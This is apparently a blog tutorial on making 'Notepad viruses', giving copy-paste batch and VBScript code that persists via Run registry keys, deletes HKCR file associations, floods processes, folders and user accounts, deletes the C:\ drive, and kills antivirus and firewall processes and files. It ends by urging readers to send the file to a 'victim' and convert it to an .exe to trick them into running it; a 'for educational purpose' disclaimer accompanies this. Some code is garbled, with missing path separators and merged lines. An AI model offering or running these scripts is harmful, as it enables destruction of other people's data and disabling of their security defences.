How to Create Computer Virus in Few Seconds (Notepad virus tricks)
Check out this video first
Have you ever thought of creating a computer virus
by yourself? No need to worry, here is a complete tutorial to let you know how
to create a simple but dangerous Notepad Virus step by step with an explanation! 😎
As you all know that Virus is nothing but a malicious the program which enters into a system without permission and affects the data and
the working of the operating system. Viruses do unwanted tasks like replicating
itself corrupting user files etc, so, basically, we are going to create
some unwanted scripts, that we can execute in order to destroy or break
the system.
Create Notepad Virus Executable(.exe) Using Batch
Scripting
First of all, what is batch scripting, those who don’t know,
take a look below:
“It is simply a text file, containing a series of
commands, which are executed automatically, line by line when the batch file
runs.”
By using Batch File you can create an extremely dangerous
virus which can delete the Windows files, format different drives [C:\,
E:], steal data files and information, disable antivirus, firewall, etc.
NOTE: This post is solely and mainly for educational
purpose only. I am nowhere responsible for any kind of damage caused by this
tutorial
Write a dangerous virus in Notepad/Text Editor
Are you ready to create your first DIY Notepad virus,
Let’s get started to rock,
First of all, you need a windows PC, obviously. 😉
For this tutorial to create simple Notepad Virus you don’t
need to be a die-hard programmer or something like that, but a basic knowledge
of flow charts and loops helps you a lot to understand what’s going on
here. So let’s start to create a trojan virus using notepad to run via command
prompt(cmd) in Windows 10, 8/8.1, 7 or XP.
Now, Open the Notepad application and Copy (Ctrl+C) and
Paste (Ctrl+V) the codes given below one by one for the different virus in a
different file.
Copy (Ctrl+C) and Paste (Ctrl+V) the source code
Note: I am not responsible for any damage or
error reporting on Your PC, do it at your own risk.
Warning: Do not try this on your daily working PC.
Have you read my previous posts, it will be great to take a
look at;
Notepad Virus source codes are Given below:
1. Disable Internet Permanently
This code will disable the internet connectivity
permanently.
echo @echo off>c:windowswimn32.bat
echo break off>c:windowswimn32.bat echo
ipconfig/release_all>c:windowswimn32.bat
echo end>c:windowswimn32.batreg add
hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun
/v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add
hkey_current_usersoftwaremicrosoftwindowscurrentversionrun
/v CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho You Have Been HACKED!
PAUSE
2. Delete Key Registry Files
This will delete key registry files, then loops a message
This is dangerous and unrecoverable Notepad Virus.
@ECHO OFF
START reg delete
HKCR/.exe
START reg delete
HKCR/.dll
START reg delete
HKCR/*
:MESSAGE
ECHO Your PC has
been crashed.Your Dad.
GOTO MESSAGE
3. Endless Notepads
This will pop up endless notepads until the computer freezes
and crashes
@ECHO off
:top
START
%SystemRoot%\system32\notepad.exe
GOTO top
4. Popping CD Drives
This will make the CD drives constantly pop out
Set oWMP = CreateObject(”WMPlayer.OCX.7″)
Set colCDROMs =
oWMP.cdromCollection
do
if colCDROMs.Count
>= 1 then
For i = 0 to
colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to
colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop
5. Endless Enter
This will make the enter button
pressed continuously
Set wshShell = wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys
“~(enter)”
loop
6. Application Bomber
It will start to open different applications repeatedly
which will affect the system’s performance.
You can also add the application of your choice in the above
code.
@echo off
:x
start winword
start mspaint
start notepad
start write
start cmd
start explorer
start control
start calc
goto x
7.Folder Flooder
This will create unlimited no. of folders.
@echo off
:x
md %random%
/folder.
goto x
8.User Account Flooder
This will create large no. of the user account on one’s PC
and goes on
@echo off
:xnet
user %random% /add
goto x
9.Process Creator
This will create unlimited background processes
%0|%0
10.Windows Hacker
This will delete your whole C:\ drive and it really
unrecoverable
@Echo off
Del C:\ *.* |y
10+. Anti Virus Disabler
This large code will disable any antivirus installed on the
system
@ echo off
rem
rem Permanently Kill Anti-Virus
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmincls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:\Program Files\alwils~1\avast4\*.*
del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
del /Q /F C:\Program Files\kasper~1\*.exe
cls
del /Q /F C:\Program Files\trojan~1\*.exe
del /Q /F C:\Program Files\f-prot95\*.dll
del /Q /F C:\Program Files\tbav\*.datcls
del /Q /F C:\Program Files\avpersonal\*.vdf
del /Q /F C:\Program Files\Norton~1\*.cnt
del /Q /F C:\Program Files\Mcafee\*.*
cls
del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
del /Q /F C:\Program Files\Norton~1\*.*
cls
del /Q /F C:\Program Files\avgamsr\*.exe
del /Q /F C:\Program Files\avgamsvr\*.exe
del /Q /F C:\Program Files\avgemc\*.exe
cls
del /Q /F C:\Program Files\avgcc\*.exe
del /Q /F C:\Program Files\avgupsvc\*.exe
del /Q /F C:\Program Files\grisoft
del /Q /F C:\Program Files\nood32krn\*.exe
del /Q /F C:\Program Files\nood32\*.exe
cls
del /Q /F C:\Program Files\nod32
del /Q /F C:\Program Files\nood32
del /Q /F C:\Program Files\kav\*.exe
del /Q /F C:\Program Files\kavmm\*.exe
del /Q /F C:\Program Files\kaspersky\*.*
cls
del /Q /F C:\Program Files\ewidoctrl\*.exe
del /Q /F C:\Program Files\guard\*.exe
del /Q /F C:\Program Files\ewido\*.exe
cls
del /Q /F C:\Program Files\pavprsrv\*.exe
del /Q /F C:\Program Files\pavprot\*.exe
del /Q /F C:\Program Files\avengine\*.exe
cls
del /Q /F C:\Program Files\apvxdwin\*.exe
del /Q /F C:\Program Files\webproxy\*.exe
del /Q /F C:\Program Files\panda
software\*.*
rem
After copy-pasting any one of the viruses at a time in the
Notepad, save the file in ALL FILES mode with an extension “.bat“(without
quotes as shown in the image).
Save the file in ALL FILES mode with ‘.bat’ extension
DONE: You have successfully created a Notepad
Virus. That’s it, now you’re done doing your work now just you have to
send the file to the victim.
Done creating a batch file
There’s a drawback of a batch file notepad virus, that
anyone can open it with notepad and read the commands easily, and delete
it if found it harmful. So, to overcome this limitation/drawback, you can use a
tool named ‘Batch to Executable Converter’. It will convert the ‘.bat‘
extension into ‘.exe‘ extension. Hence, your Batch file will be
converted into a Windows Application. This will helps in convincing your victim
to open the file.
Bat2Exe
Download BatToExe to Easily convert batch
files to executables by clicking here
NOTE: This Tutorial is for windows-based computer
only, these viruses do not work on Linux or MAC.
